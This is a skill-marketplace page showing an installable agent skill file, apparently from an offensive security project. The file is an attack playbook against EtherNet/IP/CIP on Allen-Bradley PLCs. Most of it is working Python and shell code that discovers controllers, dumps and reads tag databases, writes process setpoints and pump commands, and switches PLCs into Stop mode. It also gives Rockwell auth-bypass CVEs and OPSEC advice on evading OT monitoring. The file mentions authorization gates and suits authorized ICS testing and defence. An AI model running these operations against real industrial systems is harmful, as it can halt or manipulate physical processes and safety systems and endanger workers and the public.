Skip to main content

enip-cip

EtherNet/IP + CIP (TCP 44818 / UDP 2222) attack playbook — List Identity broadcast, pylogix tag-database dump, tag read/write on Allen-Bradley ControlLogix/CompactLogix, CIP Forward Open, PLC mode change (Stop/Run), and historical Rockwell auth-bypass CVEs. North American ICS dominant protocol.

跳到安装

来源信息

仓库
BitterSecurity/Decepticon
最近来源活动
2026年5月30日 11:42
检测到的 SKILL.md 语言
英语
星标
5,565
分支
1,053

安装方式

默认使用会先检查来源的 Prompt;你也可以切换为直接命令,或下载本地副本。

检查来源文件

决定是否安装前,请先阅读 SKILL.md,以及 SkillsMP 当前展示的配套文件。

正在显示 SKILL.md

SKILL.md
来源说明 · 只读预览
name
enip-cip
description
EtherNet/IP + CIP (TCP 44818 / UDP 2222) attack playbook — List Identity broadcast, pylogix tag-database dump, tag read/write on Allen-Bradley ControlLogix/CompactLogix, CIP Forward Open, PLC mode change (Stop/Run), and historical Rockwell auth-bypass CVEs. North American ICS dominant protocol.
allowed-tools
Bash Read Write
metadata
{"when_to_use":"ethernet/ip ethernetip enip cip 44818 2222 allen-bradley rockwell controllogix compactlogix pylogix cpppo plc tag list-identity forward-open","subdomain":"ics-ot","tags":"enip, cip, ethernet-ip, plc, ics, ot, allen-bradley, rockwell","mitre_attack":"T0855, T0836, T0816, T0814"}
# EtherNet/IP + CIP Attack Playbook (TCP 44818 / UDP 2222) EtherNet/IP is the dominant North American ICS protocol — every Allen-Bradley ControlLogix, CompactLogix, and MicroLogix ships with it enabled by default. CIP (Common Industrial Protocol) rides on top. Most deployments have no authentication at the CIP layer: if you can reach TCP 44818, you can read the full tag database and, in scope, write to process variables or change PLC execution state. ## SAFETY FIRST CIP write operations (`Write()` on tags) and mode-change commands (`Stop`, `Run`, `Reset`) affect physical process equipment. A mode-change to `Stop` immediately halts the PLC program — the controlled process (conveyor, motor, pump, valve) goes to its fail-safe state or de-energizes. **Confirm written scope authorization for any write/control-class operation. Read and enumerate operations (tag list, controller info, identity) are safe.** ## Prerequisites ```bash # Install pylogix (Allen-Bradley EtherNet/IP client) pip install pylogix # Install cpppo (Rockwell EtherNet/IP / CIP toolkit) pip install cpppo # nmap EtherNet/IP scripts # Built-in: enip-info.nse (ships with Nmap >= 7.80) nmap -p 44818 --open -sV 10.0.0.0/24 ``` ## Phase 1 — Discover ### UDP 2222 List Identity broadcast UDP 2222 carries the ENIP "List Identity" command — no session, no authentication. Send a broadcast and all EtherNet/IP devices on the subnet respond with vendor, product name, serial number, firmware revision, and IP. ```bash # Using cpppo enip command-line python3 -m cpppo.server.enip.list_identity 10.0.0.255 # Or unicast: python3 -m cpppo.server.enip.list_identity 10.0.0.5 # Example output: # {'product_name': 'ControlLogix5580', 'vendor_id': 1, 'device_type': 14, # 'product_code': 166, 'revision': {'major': 33, 'minor': 11}, # 'serial_number': '0xA1B2C3D4', 'status': 12340} ``` ```bash # nmap enip-info script (TCP 44818) nmap -p 44818 --script enip-info 10.0.0.5 # Returns: VendorID, DeviceType, ProductCode, Revision, Serial, ProductName, State ``` ```python # pylogix PLC info — TCP 44818 from pylogix import PLC with PLC() as comm: comm.IPAddress = "10.0.0.5" info = comm.GetPLCTime() print("PLC time:", info.Value) props = comm.GetModuleProperties(0) print("Module:", props.Value) ``` ## Phase 2 — Tag database enumeration (unauthenticated on ControlLogix/CompactLogix) ControlLogix and CompactLogix expose the entire controller tag database via CIP symbolic segment reads — no authentication required. This includes tag names, data types, dimensions, and access attributes. ```python from pylogix import PLC with PLC() as comm: comm.IPAddress = "10.0.0.5" # Enumerate all controller-scoped tags tags = comm.GetTagList() print(f"[*] Found {len(tags.Value)} controller tags") for tag in tags.Value: print(f" {tag.TagName:<40} Type={tag.DataType:<20} Dim={tag.Dimensions}") # Enumerate program-scoped tags (programs inside the controller) programs = comm.GetProgramList() for prog in programs.Value: prog_tags = comm.GetProgramTagList(prog) print(f"\n[*] Program '{prog}': {len(prog_tags.Value)} tags") for tag in prog_tags.Value: print(f" {prog}:{tag.TagName:<36} Type={tag.DataType}") ``` Tag names are often self-describing in production environments: - `PumpStation_1.RunCmd` — pump run command coil - `Valve_FV_101.OpenCmd` — valve open command - `Reactor_TIC_201.SP` — temperature setpoint - `Safety_SIL2.BypassActive` — safety interlock bypass flag ## Phase 3 — Read tags ```python from pylogix import PLC with PLC() as comm: comm.IPAddress = "10.0.0.5" # Read a single tag result = comm.Read("PumpStation_1.RunCmd") print(f"PumpStation_1.RunCmd = {result.Value} (Status: {result.Status})") # Read multiple tags in one request (efficient) tag_list = [ "Reactor_TIC_201.SP", "Reactor_TIC_201.PV", "Valve_FV_101.OpenCmd", "Safety_SIL2.BypassActive", ] results = comm.Read(tag_list) for r in results: print(f" {r.TagName} = {r.Value} Status={r.Status}") # Read array elements array_result = comm.Read("RecipeArray[0]", 10) # read 10 elements from index 0 print("Recipe[0:10]:", array_result.Value) ``` ## Phase 4 — Write tags (SAFETY GATE — write-class authorization required) > **STOP. Confirm written scope authorization before this phase.** > Writing process control tags may energize/de-energize actuators immediately. ```python from pylogix import PLC # Write a BOOL tag with PLC() as comm: comm.IPAddress = "10.0.0.5" # Example: write a setpoint — requires authorization result = comm.Write("Reactor_TIC_201.SP", 85.0) print(f"Write SP: {result.Status}") # Example: write a BOOL control tag — requires authorization result = comm.Write("PumpStation_1.RunCmd", 1) print(f"Write RunCmd: {result.Status}") ``` Write status codes: `Success` = write accepted by PLC; `PathSegmentError` = bad tag name; `ServiceError` = PLC in Program mode or inhibited. ## Phase 5 — CIP mode change: Stop / Run / Reset Mode change via CIP is a direct PLC execution-state change. Stop halts the ladder/function-block program. Reset is a cold restart. ```python import cpppo from cpppo.server.enip import client # CIP explicit messaging to change PLC mode # Rockwell ControlLogix CIP Service 0x0F (Set Attribute Single) # Object: 0x01 (Identity Object), Instance 1, Attribute 10 (Controller State) # Mode: 0x01 = Run, 0x02 = Program (Stop) def set_plc_mode(ip, mode_val, port=44818): """ mode_val: 0x01 = Run, 0x02 = Program (effectively Stop) Requires write-class scope authorization. """ operations = [ { "method": "set_attribute_single", "path": "@0x01/1/10", "data": [mode_val], } ] with client.connector(host=ip, port=port) as conn: for op in operations: conn.set_attribute_single( path=op["path"], data=op["data"], ) conn.collect(timeout=2) print(f"Mode change to {mode_val:#04x} sent") # set_plc_mode("10.0.0.5", 0x02) # Stop (Program mode) — halts PLC program # set_plc_mode("10.0.0.5", 0x01) # Run ``` Alternatively, pylogix provides a direct wrapper: ```python with PLC() as comm: comm.IPAddress = "10.0.0.5" # Some pylogix versions expose: comm.GetPLCTime() # verify connectivity first # comm.Write("_RunMode", 0) # vendor-specific; verify tag exists first ``` ## Phase 6 — Historical Rockwell auth-bypass CVEs | CVE | Product | Description | CVSS | |---|---|---|---| | CVE-2021-27478 | Studio 5000 Logix Designer | Unauth remote code execution via CIP messaging | 10.0 | | CVE-2022-1159 | Rockwell Automation FactoryTalk | Executable injection via DLL hijack path | 7.7 | | CVE-2023-3595 | ControlLogix 1756 (firmware <= 33.011) | Path traversal in CIP service; unauthenticated firmware read/write | 9.8 | | CVE-2023-3596 | GuardLogix 1756 | Same family — safety controller variant | 9.8 | | CVE-2024-6242 | ControlLogix 1756 | CIP Trusted Slot mechanism bypass — pivot between chassis slots | 8.4 | CVE-2023-3595 / 3596 (Claroty "LogiSploit") is the most relevant for live engagements — unauthenticated firmware upload/download against unpatched ControlLogix. Patch check: ```python # Firmware version from pylogix with PLC() as comm: comm.IPAddress = "10.0.0.5" props = comm.GetModuleProperties(0) print("Firmware:", props.Value) # Compare against Rockwell Security Advisory RLSA-2023-0026 # Affected: < v33.012 (1756-EN2* family) ``` ## Common findings | Finding | MITRE | Impact | |---|---|---| | Internet-exposed EtherNet/IP (Shodan: port:44818) | T0882 | Direct PLC access from internet | | No CIP authentication — tag list readable | T0855 | Full process variable visibility | | Tag write accepted without auth | T0836 | Direct process manipulation | | PLC mode change accepted (Stop) | T0816 | Halt production line | | Flat IT/OT VLAN — office → PLC direct | T0814 | Lateral movement from compromised workstation | | Unpatched ControlLogix (CVE-2023-3595) | T0839 | Firmware read/write, persistent implant | | Safety PLC (GuardLogix) reachable | T0857 | Safety system manipulation | ## Evidence ```python kg_add_node( kind="finding", label="EtherNet/IP unauthenticated tag access", props={ "key": f"enip-cip-anon::{target_ip}", "protocol": "enip-cip", "port": 44818, "product_name": "<ProductName>", "firmware_revision": "<major.minor>", "tag_count": len(tags.Value), "writable": False, # set True only after confirmed write-scope "source": "pylogix-taglist", }, ) ``` ## ZFP (two-method evidence) 1. `pylogix GetTagList()` output showing tag count + representative tag names with data types. 2. `pylogix Read()` result for at least one process variable showing a live value (e.g., temperature, pressure, motor state). If write testing was authorized: include `Write()` result showing `Status=Success` and a Read back confirming value change. ## OPSEC notes - EtherNet/IP has no built-in audit log at the CIP layer. Tag reads are silent to most OT security platforms unless a Nozomi/Claroty NDR is deployed with flow-level inspection. - High-frequency polling (e.g., reading all tags in a tight loop) is detectable as anomalous traffic volume. Space enumeration reads out. - Mode-change commands (Stop/Program) generate an event in the PLC's event log (RSLogix Diagnostics > General Fault). This persists across power cycles. - Shodan regularly indexes internet-facing EtherNet/IP; pre-engagement Shodan search for the target's IP space can reveal exposure level before active scanning. - CVE-2023-3595 exploit PoC (Claroty): confirm firmware version before using; firmware write is destructive and may brick the controller. ## References - pylogix — github.com/dmroeder/pylogix - cpppo — github.com/pjkundert/cpppo - ODVA EtherNet/IP and CIP Specifications — odva.org - Claroty Team82 "LogiSploit" (CVE-2023-3595/3596) — claroty.com/team82 - CVE-2024-6242 Rockwell Trusted Slot bypass — icsadvisory.ot-security.io - ICS-CERT Rockwell advisories — cisa.gov/uscert/ics/advisories - "Exploiting Industrial Control Systems" — Reid Wightman, S4 Conference - Shodan dork reference — https://www.shodan.io/search?query=port%3A44818
在 GitHub 查看